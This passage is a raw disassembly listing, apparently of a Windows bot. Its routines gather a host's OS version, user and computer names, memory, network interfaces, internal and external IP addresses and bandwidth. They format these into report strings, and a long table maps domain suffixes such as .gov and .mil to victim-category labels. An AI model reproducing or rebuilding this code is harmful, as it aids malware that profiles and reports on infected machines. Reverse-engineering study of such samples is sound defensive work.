mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_418B4C jb short loc_418AF8 cmp edi, 50h jnb short loc_418AFD loc_418AF8: ; CODE XREF: sub_418AA2+4Fj push 4Bh xor edx, edx pop eax loc_418AFD: ; CODE XREF: sub_418AA2+54j test ecx, ecx ja short loc_418B4C jb short loc_418B08 cmp edi, 47h jnb short loc_418B0D loc_418B08: ; CODE XREF: sub_418AA2+5Fj push 42h xor edx, edx pop eax loc_418B0D: ; CODE XREF: sub_418AA2+64j test ecx, ecx ja short loc_418B4C jb short loc_418B18 cmp edi, 37h jnb short loc_418B1D loc_418B18: ; CODE XREF: sub_418AA2+6Fj push 32h xor edx, edx pop eax loc_418B1D: ; CODE XREF: sub_418AA2+74j test ecx, ecx ja short loc_418B4C jb short loc_418B28 cmp edi, 26h jnb short loc_418B2D loc_418B28: ; CODE XREF: sub_418AA2+7Fj push 21h xor edx, edx pop eax loc_418B2D: ; CODE XREF: sub_418AA2+84j test ecx, ecx ja short loc_418B4C jb short loc_418B38 cmp edi, 1Eh jnb short loc_418B3D loc_418B38: ; CODE XREF: sub_418AA2+8Fj push 19h xor edx, edx pop eax loc_418B3D: ; CODE XREF: sub_418AA2+94j test ecx, ecx ja short loc_418B4C jb short loc_418B48 cmp edi, 0Ah jnb short loc_418B4C loc_418B48: ; CODE XREF: sub_418AA2+9Fj xor eax, eax xor edx, edx loc_418B4C: ; CODE XREF: sub_418AA2+4Dj ; sub_418AA2+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_418AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B58 proc near ; CODE XREF: sub_403B2C+1CD3p var_1590 = byte ptr -1590h var_590 = byte ptr -590h var_490 = byte ptr -490h var_38C = byte ptr -38Ch var_28C = byte ptr -28Ch var_200 = byte ptr -200h var_1B8 = byte ptr -1B8h var_170 = byte ptr -170h var_13C = byte ptr -13Ch var_108 = byte ptr -108h var_F0 = byte ptr -0F0h var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1590h call sub_4220C0 push ebx push esi lea eax, [ebp+var_D0] push edi push eax mov [ebp+var_4], offset a??? ; "???" mov [ebp+var_D0], 94h call dword_42F044 ; GetVersionExA xor ebx, ebx cmp [ebp+var_CC], 4 jnz short loc_418BE6 cmp [ebp+var_C8], ebx jnz short loc_418BC2 cmp [ebp+var_C0], 1 jnz short loc_418BA9 mov [ebp+var_4], offset a95 ; "95" loc_418BA9: ; CODE XREF: sub_418B58+48j cmp [ebp+var_C0], 2 jnz loc_418C74 mov [ebp+var_4], offset aNt ; "NT" jmp loc_418C45 ; --------------------------------------------------------------------------- loc_418BC2: ; CODE XREF: sub_418B58+3Fj cmp [ebp+var_C8], 0Ah jnz short loc_418BD4 mov [ebp+var_4], offset a98 ; "98" jmp short loc_418C3C ; --------------------------------------------------------------------------- loc_418BD4: ; CODE XREF: sub_418B58+71j cmp [ebp+var_C8], 5Ah jnz short loc_418C3C mov [ebp+var_4], offset aMe ; "ME" jmp short loc_418C3C ; --------------------------------------------------------------------------- loc_418BE6: ; CODE XREF: sub_418B58+37j cmp [ebp+var_CC], 5 jnz short loc_418C24 cmp [ebp+var_C8], ebx jnz short loc_418C00 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_418C3C ; --------------------------------------------------------------------------- loc_418C00: ; CODE XREF: sub_418B58+9Dj cmp [ebp+var_C8], 1 jnz short loc_418C12 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_418C3C ; --------------------------------------------------------------------------- loc_418C12: ; CODE XREF: sub_418B58+AFj cmp [ebp+var_C8], 2 jnz short loc_418C3C mov [ebp+var_4], offset a2k3 ; "2K3" jmp short loc_418C3C ; --------------------------------------------------------------------------- loc_418C24: ; CODE XREF: sub_418B58+95j cmp [ebp+var_CC], 6 jnz short loc_418C3C cmp [ebp+var_C8], ebx jnz short loc_418C3C mov [ebp+var_4], offset aVista_0 ; "ViSTA" loc_418C3C: ; CODE XREF: sub_418B58+7Aj ; sub_418B58+83j ... cmp [ebp+var_C0], 2 jnz short loc_418C74 loc_418C45: ; CODE XREF: sub_418B58+65j cmp [ebp+var_BC], bl jz short loc_418C74 lea eax, [ebp+var_BC] push eax lea eax, [ebp+var_28C] push [ebp+var_4] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_28C] add esp, 10h mov [ebp+var_4], eax loc_418C74: ; CODE XREF: sub_418B58+58j ; sub_418B58+EBj ... mov eax, 100h mov [ebp+var_24], eax mov [ebp+var_20], eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_590] push eax call dword_4541D8 ; GetUserNameA lea eax, [ebp+var_20] push eax lea eax, [ebp+var_38C] push eax call dword_454354 ; GetComputerNameA lea eax, [ebp+var_490] push 104h push eax call dword_42F110 ; GetSystemDirectoryA lea eax, [ebp+var_200] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_42F10C ; GetDateFormatA lea eax, [ebp+var_1B8] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_42F108 ; GetTimeFormatA push 20h lea eax, [ebp+var_F0] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_F0] push eax call dword_42F104 ; GlobalMemoryStatus mov eax, [ebp+var_E8] push ebx shr eax, 0Ah push eax call sub_41F537 push eax lea eax, [ebp+var_13C] push eax call sub_422063 mov eax, [ebp+var_E4] push ebx shr eax, 0Ah push eax call sub_41F537 push eax lea eax, [ebp+var_170] push eax call sub_422063 mov esi, dword_42F0D0 add esp, 20h mov [ebp+var_18], ebx mov [ebp+var_14], ebx push ebx push ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx call esi ; dword_42F0D0 add eax, 2 push eax mov [ebp+var_8], eax call sub_422F79 pop ecx mov edi, eax push edi mov [ebp+var_1C], edi push [ebp+var_8] call esi ; dword_42F0D0 mov [ebp+var_8], edi cmp [edi], bl jz short loc_418DDB loc_418D77: ; CODE XREF: sub_418B58+281j push offset off_43E640 push [ebp+var_8] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_418DC6 push 40000000h lea eax, [ebp+var_108] push [ebp+var_8] push eax call sub_415255 add esp, 0Ch mov esi, eax lea edi, [ebp+var_3C] push 6 pop ecx rep movsd mov eax, [ebp+var_34] mov edi, [ebp+var_1C] add [ebp+var_18], eax mov eax, [ebp+var_30] adc [ebp+var_14], eax mov eax, [ebp+var_2C] add [ebp+var_10], eax mov eax, [ebp+var_28] adc [ebp+var_C], eax loc_418DC6: ; CODE XREF: sub_418B58+230j mov esi, [ebp+var_8] push esi call sub_422120 lea eax, [esi+eax+1] pop ecx mov [ebp+var_8], eax cmp [eax], bl jnz short loc_418D77 loc_418DDB: ; CODE XREF: sub_418B58+21Dj push edi call sub_4230B3 pop ecx push [ebp+var_C] push [ebp+var_10] push [ebp+var_14] push [ebp+var_18] push 1 push ebx call dword_42F164 ; GetTickCount push eax call sub_418A1B add esp, 0Ch push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_200] push eax lea eax, [ebp+var_590] push eax lea eax, [ebp+var_38C] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_170] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_CC] push [ebp+var_4] push eax lea eax, [ebp+var_13C] push eax call sub_418AA2 push edx push eax push offset aFr3nb0ttxid1mn ; "Fr3NB0Ttxid1Mnsrm1FhS.k." push offset aSCpuI64umhzRam ; "%s (CPU): %I64uMHz, (RAM): %sKB total, "... lea eax, [ebp+var_1590] push 1000h push eax call sub_42219B add esp, 58h cmp [ebp+arg_8], ebx lea eax, [ebp+var_1590] pop edi pop esi pop ebx push eax push [ebp+arg_0] push [ebp+arg_4] jnz short loc_418E88 call sub_4104F6 jmp short loc_418E8D ; --------------------------------------------------------------------------- loc_418E88: ; CODE XREF: sub_418B58+327j call sub_410491 loc_418E8D: ; CODE XREF: sub_418B58+32Ej add esp, 0Ch leave retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E92 proc near ; CODE XREF: sub_418F30+A6p ; sub_418F30+AEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi lea eax, [ebp+var_4] xor ebx, ebx push 1 push eax push ebx mov [ebp+var_4], ebx call dword_4542DC ; GetIfTable cmp eax, 7Ah jnz short loc_418EDD push [ebp+var_4] call sub_422F79 mov esi, eax pop ecx cmp esi, ebx jz short loc_418EDD push [ebp+var_4] push ebx push esi call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_4] push 1 push eax push esi call dword_4542DC ; GetIfTable test eax, eax jz short loc_418EE1 loc_418EDD: ; CODE XREF: sub_418E92+1Cj ; sub_418E92+2Bj xor eax, eax jmp short loc_418F1B ; --------------------------------------------------------------------------- loc_418EE1: ; CODE XREF: sub_418E92+49j push edi mov edi, [esi] cmp edi, ebx mov [ebp+var_8], ebx jbe short loc_418F0F lea eax, [esi+230h] loc_418EF1: ; CODE XREF: sub_418E92+7Bj mov edx, [eax] cmp edx, ebx jbe short loc_418F02 mov ecx, [eax+18h] cmp ecx, ebx jbe short loc_418F02 cmp edx, ecx jnz short loc_418F1F loc_418F02: ; CODE XREF: sub_418E92+63j ; sub_418E92+6Aj inc [ebp+var_8] add eax, 35Ch cmp [ebp+var_8], edi jb short loc_418EF1 loc_418F0F: ; CODE XREF: sub_418E92+57j xor edi, edi loc_418F11: ; CODE XREF: sub_418E92+9Cj push esi call sub_4230B3 pop ecx mov eax, edi pop edi loc_418F1B: ; CODE XREF: sub_418E92+4Dj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418F1F: ; CODE XREF: sub_418E92+6Ej cmp [ebp+arg_0], ebx jz short loc_418F29 mov eax, [eax-4] jmp short loc_418F2C ; --------------------------------------------------------------------------- loc_418F29: ; CODE XREF: sub_418E92+90j mov eax, [eax+14h] loc_418F2C: ; CODE XREF: sub_418E92+95j mov edi, eax jmp short loc_418F11 sub_418E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F30 proc near ; CODE XREF: sub_403B2C+1DCDp var_20F4 = byte ptr -20F4h var_10F4 = byte ptr -10F4h var_F4 = byte ptr -0F4h var_74 = byte ptr -74h var_40 = byte ptr -40h var_C = byte ptr -0Ch var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 20F4h call sub_4220C0 push ebx push esi mov esi, 80h push edi xor ebx, ebx push esi lea eax, [ebp+var_F4] push ebx push eax call sub_4221F0 add esp, 0Ch cmp dword_4543FC, ebx jnz short loc_418FA9 push ebx lea eax, [ebp+var_F4] push esi push eax lea eax, [ebp+var_4] push eax call dword_4541C4 ; InternetGetConnectedStateExA test eax, eax jnz short loc_418F8A lea eax, [ebp+var_F4] push offset dword_442274 push eax call sub_422063 pop ecx pop ecx loc_418F8A: ; CODE XREF: sub_418F30+45j test [ebp+var_4], 1 lea eax, [ebp+var_C] jz short loc_418FA2 push offset dword_442268 loc_418F98: ; CODE XREF: sub_418F30+77j push eax call sub_422063 pop ecx pop ecx jmp short loc_418FC8 ; --------------------------------------------------------------------------- loc_418FA2: ; CODE XREF: sub_418F30+61j push offset off_442264 jmp short loc_418F98 ; --------------------------------------------------------------------------- loc_418FA9: ; CODE XREF: sub_418F30+2Ej mov esi, offset off_442260 lea eax, [ebp+var_C] push esi push eax call sub_422063 lea eax, [ebp+var_F4] push esi push eax call sub_422063 add esp, 10h loc_418FC8: ; CODE XREF: sub_418F30+70j xor esi, esi xor edi, edi cmp dword_454414, ebx jnz short loc_418FE7 push 1 call sub_418E92 push ebx mov esi, eax call sub_418E92 pop ecx mov edi, eax pop ecx loc_418FE7: ; CODE XREF: sub_418F30+A2j cmp [ebp+arg_C], ebx push ebx jz short loc_41900B shr esi, 14h push esi call sub_41F537 push eax mov esi, offset aSmb ; "%sMB" lea eax, [ebp+var_40] push esi push eax call sub_422063 shr edi, 14h jmp short loc_41904A ; --------------------------------------------------------------------------- loc_41900B: ; CODE XREF: sub_418F30+BBj cmp [ebp+arg_10], ebx jz short loc_41902E shr esi, 1Eh push esi call sub_41F537 push eax mov esi, offset aSgb ; "%sGB" lea eax, [ebp+var_40] push esi push eax call sub_422063 shr edi, 1Eh jmp short loc_41904A ; --------------------------------------------------------------------------- loc_41902E: ; CODE XREF: sub_418F30+DEj shr esi, 0Ah push esi call sub_41F537 push eax mov esi, offset aSkb ; "%sKB" lea eax, [ebp+var_40] push esi push eax call sub_422063 shr edi, 0Ah loc_41904A: ; CODE XREF: sub_418F30+D9j ; sub_418F30+FCj push ebx push edi call sub_41F537 push eax lea eax, [ebp+var_74] push esi push eax call sub_422063 add esp, 28h mov esi, offset dword_455388 push esi call sub_414173 test eax, eax pop ecx mov eax, offset aYes ; "Yes" jnz short loc_419079 mov eax, offset aNo ; "No" loc_419079: ; CODE XREF: sub_418F30+142j mov edi, offset dword_4552E8 push eax push edi push offset dword_4552D0 lea eax, [ebp+var_C] push esi push eax push offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k." mov esi, 1000h push offset aSConnectionSIn ; "%s (Connection): %s, (IntIP): %s, (ExtI"... lea eax, [ebp+var_10F4] push esi push eax call sub_42219B push edi call sub_41912B push eax lea eax, [ebp+var_20F4] push offset aCountryS_ ; "(Country): %s. " push eax call sub_422063 lea eax, [ebp+var_20F4] push esi push eax lea eax, [ebp+var_10F4] push eax call sub_421F40 add esp, 40h lea eax, [ebp+var_74] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_20F4] push offset aBandwidthDownl ; "(Bandwidth): Downloaded: %s, Uploaded: "... push eax call sub_422063 lea eax, [ebp+var_20F4] push esi push eax lea eax, [ebp+var_10F4] push eax call sub_421F40 add esp, 1Ch cmp [ebp+arg_8], ebx lea eax, [ebp+var_10F4] pop edi pop esi pop ebx push eax push [ebp+arg_0] push [ebp+arg_4] jnz short loc_419121 call sub_4104F6 jmp short loc_419126 ; --------------------------------------------------------------------------- loc_419121: ; CODE XREF: sub_418F30+1E8j call sub_410491 loc_419126: ; CODE XREF: sub_418F30+1EFj add esp, 0Ch leave retn sub_418F30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41912B proc near ; CODE XREF: sub_418F30+177p var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A0h push esi lea eax, [ebp+var_A0] push [ebp+arg_0] push eax call dword_42F04C ; lstrcpyA lea eax, [ebp+var_A0] push 2Eh push eax call sub_4234F0 mov esi, eax pop ecx test esi, esi pop ecx jz loc_41990A push offset a_gov ; ".gov" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41917A mov eax, offset aGovernmentLine ; "Government Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41917A: ; CODE XREF: sub_41912B+43j push offset a_net ; ".net" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419195 mov eax, offset aNetworkLine ; "Network Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419195: ; CODE XREF: sub_41912B+5Ej push offset a_info ; ".info" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4191B0 mov eax, offset aInformationalL ; "Informational Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4191B0: ; CODE XREF: sub_41912B+79j push offset a_org ; ".org" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4191CB mov eax, offset aOrganisationLi ; "Organisation Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4191CB: ; CODE XREF: sub_41912B+94j push offset a_com ; ".com" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4191E6 mov eax, offset aCompanyLine ; "Company Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4191E6: ; CODE XREF: sub_41912B+AFj push offset a_mil ; ".mil" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419201 mov eax, offset aMilitaryLine ; "Military Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419201: ; CODE XREF: sub_41912B+CAj push offset a_edu ; ".edu" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41921C mov eax, offset aEducationDept_ ; "Education Dept. Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41921C: ; CODE XREF: sub_41912B+E5j push offset dword_4425FC push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419237 mov eax, offset dword_4425EC jmp loc_41990F ; --------------------------------------------------------------------------- loc_419237: ; CODE XREF: sub_41912B+100j push offset off_4425E8 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41937A push offset a_ar ; ".ar" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_4193B0 push offset a_at ; ".at" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41927C mov eax, offset aAustria ; "Austria" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41927C: ; CODE XREF: sub_41912B+145j push offset a_au ; ".au" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419297 mov eax, offset aAustralia ; "Australia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419297: ; CODE XREF: sub_41912B+160j push offset a_be ; ".be" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4192B2 mov eax, offset aBelgium ; "Belgium" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4192B2: ; CODE XREF: sub_41912B+17Bj push offset a_bg ; ".bg" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4192CD mov eax, offset aBulgaria ; "Bulgaria" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4192CD: ; CODE XREF: sub_41912B+196j push offset a_br ; ".br" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4192E8 mov eax, offset aBrazil ; "Brazil" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4192E8: ; CODE XREF: sub_41912B+1B1j push offset a_by ; ".by" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419303 mov eax, offset aBelarus ; "Belarus" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419303: ; CODE XREF: sub_41912B+1CCj push offset off_442590 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41931E mov eax, offset aCanada ; "Canada" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41931E: ; CODE XREF: sub_41912B+1E7j push offset off_44258C push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_4198BD push offset a_ch ; ".ch" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41934E mov eax, offset aSwitzerland ; "Switzerland" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41934E: ; CODE XREF: sub_41912B+217j push offset a_cl ; ".cl" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419369 mov eax, offset aChile ; "Chile" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419369: ; CODE XREF: sub_41912B+232j push offset a_cn ; ".cn" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419384 loc_41937A: ; CODE XREF: sub_41912B+11Bj mov eax, offset aChina ; "China" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419384: ; CODE XREF: sub_41912B+24Dj push offset a_co ; ".co" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41939F mov eax, offset aCorpLine ; "Corp Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41939F: ; CODE XREF: sub_41912B+268j push offset a_cr ; ".cr" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4193BA loc_4193B0: ; CODE XREF: sub_41912B+130j mov eax, offset aUruguay ; "Uruguay" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4193BA: ; CODE XREF: sub_41912B+283j push offset a_cx ; ".cx" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41971F push offset a_cz ; ".cz" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4193EA mov eax, offset aCzechRepublic ; "Czech Republic" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4193EA: ; CODE XREF: sub_41912B+2B3j push offset a_de ; ".de" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419405 mov eax, offset aGermany ; "Germany" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419405: ; CODE XREF: sub_41912B+2CEj push offset a_dk ; ".dk" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419420 mov eax, offset aDenmark ; "Denmark" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419420: ; CODE XREF: sub_41912B+2E9j push offset a_ee ; ".ee" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41943B mov eax, offset aEstonia ; "Estonia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41943B: ; CODE XREF: sub_41912B+304j push offset a_es ; ".es" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419456 mov eax, offset aSpain ; "Spain" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419456: ; CODE XREF: sub_41912B+31Fj push offset a_fi ; ".fi" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419471 mov eax, offset aFinland ; "Finland" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419471: ; CODE XREF: sub_41912B+33Aj push offset a_fj ; ".fj" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41948C mov eax, offset aFiji ; "FiJi" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41948C: ; CODE XREF: sub_41912B+355j push offset a_fr ; ".fr" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4194A7 mov eax, offset aFrance ; "France" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4194A7: ; CODE XREF: sub_41912B+370j push offset a_ge ; ".ge" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4194C2 mov eax, offset aGeorgia ; "Georgia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41912B+38Bj push offset a_gr ; ".gr" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4194DD mov eax, offset aGreece ; "Greece" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4194DD: ; CODE XREF: sub_41912B+3A6j push offset a_hk ; ".hk" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4194F8 mov eax, offset aHongKong ; "Hong Kong" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4194F8: ; CODE XREF: sub_41912B+3C1j push offset a_hu ; ".hu" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419513 mov eax, offset aHungary ; "Hungary" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419513: ; CODE XREF: sub_41912B+3DCj push offset a_id ; ".id" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41952E mov eax, offset aIndonesia ; "Indonesia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41952E: ; CODE XREF: sub_41912B+3F7j push offset a_ie ; ".ie" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419549 mov eax, offset aIreland ; "Ireland" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419549: ; CODE XREF: sub_41912B+412j push offset a_in ; ".in" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419564 mov eax, offset aIndia ; "India" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419564: ; CODE XREF: sub_41912B+42Dj push offset a_is ; ".is" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41957F mov eax, offset aIceland ; "Iceland" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41957F: ; CODE XREF: sub_41912B+448j push offset a_il ; ".il" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41959A mov eax, offset aIsrael ; "Israel" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41959A: ; CODE XREF: sub_41912B+463j push offset a_it ; ".it" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4195B5 mov eax, offset aItaly ; "Italy" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4195B5: ; CODE XREF: sub_41912B+47Ej push offset a_jp ; ".jp" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_4196E9 push offset a_kg ; ".kg" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4195E5 mov eax, offset aKyrgyzstan ; "Kyrgyzstan" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4195E5: ; CODE XREF: sub_41912B+4AEj push offset a_kr ; ".kr" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419600 mov eax, offset aKorea ; "Korea" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419600: ; CODE XREF: sub_41912B+4C9j push offset a_kz ; ".kz" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41961B mov eax, offset aKazakhstan ; "Kazakhstan" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41961B: ; CODE XREF: sub_41912B+4E4j push offset a_lt ; ".lt" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419636 mov eax, offset aLithuania ; "Lithuania" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419636: ; CODE XREF: sub_41912B+4FFj push offset a_lv ; ".lv" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419651 mov eax, offset aLatvia ; "Latvia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419651: ; CODE XREF: sub_41912B+51Aj push offset off_44240C push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41966C mov eax, offset aMalta ; "Malta" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41966C: ; CODE XREF: sub_41912B+535j push offset a_my ; ".my" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419687 mov eax, offset aMalaysia ; "Malaysia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419687: ; CODE XREF: sub_41912B+550j push offset a_ms ; ".ms" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4196A2 mov eax, offset aMicrosoftLine ; "Microsoft Line" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4196A2: ; CODE XREF: sub_41912B+56Bj push offset a_nl ; ".nl" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4196BD mov eax, offset aNetherlands ; "Netherlands" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4196BD: ; CODE XREF: sub_41912B+586j push offset a_no ; ".no" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4196D8 mov eax, offset aNorway ; "Norway" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4196D8: ; CODE XREF: sub_41912B+5A1j push offset a_nu ; ".nu" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4196F3 loc_4196E9: ; CODE XREF: sub_41912B+499j mov eax, offset aJapan ; "Japan" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4196F3: ; CODE XREF: sub_41912B+5BCj push offset a_nz ; ".nz" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41970E mov eax, offset aNewZealand ; "New Zealand" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41970E: ; CODE XREF: sub_41912B+5D7j push offset a_pl ; ".pl" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419729 loc_41971F: ; CODE XREF: sub_41912B+29Ej mov eax, offset aPoland ; "Poland" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419729: ; CODE XREF: sub_41912B+5F2j push offset a_pt ; ".pt" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419744 mov eax, offset aPortugal ; "Portugal" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419744: ; CODE XREF: sub_41912B+60Dj push offset a_ro ; ".ro" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41975F mov eax, offset aRomania ; "Romania" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41975F: ; CODE XREF: sub_41912B+628j push offset dword_44237C push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_419821 push offset off_442378 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41978F mov eax, offset aSaudiArabia ; "Saudi Arabia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41978F: ; CODE XREF: sub_41912B+658j push offset a_se ; ".se" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4197AA mov eax, offset aSweden ; "Sweden" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4197AA: ; CODE XREF: sub_41912B+673j push offset 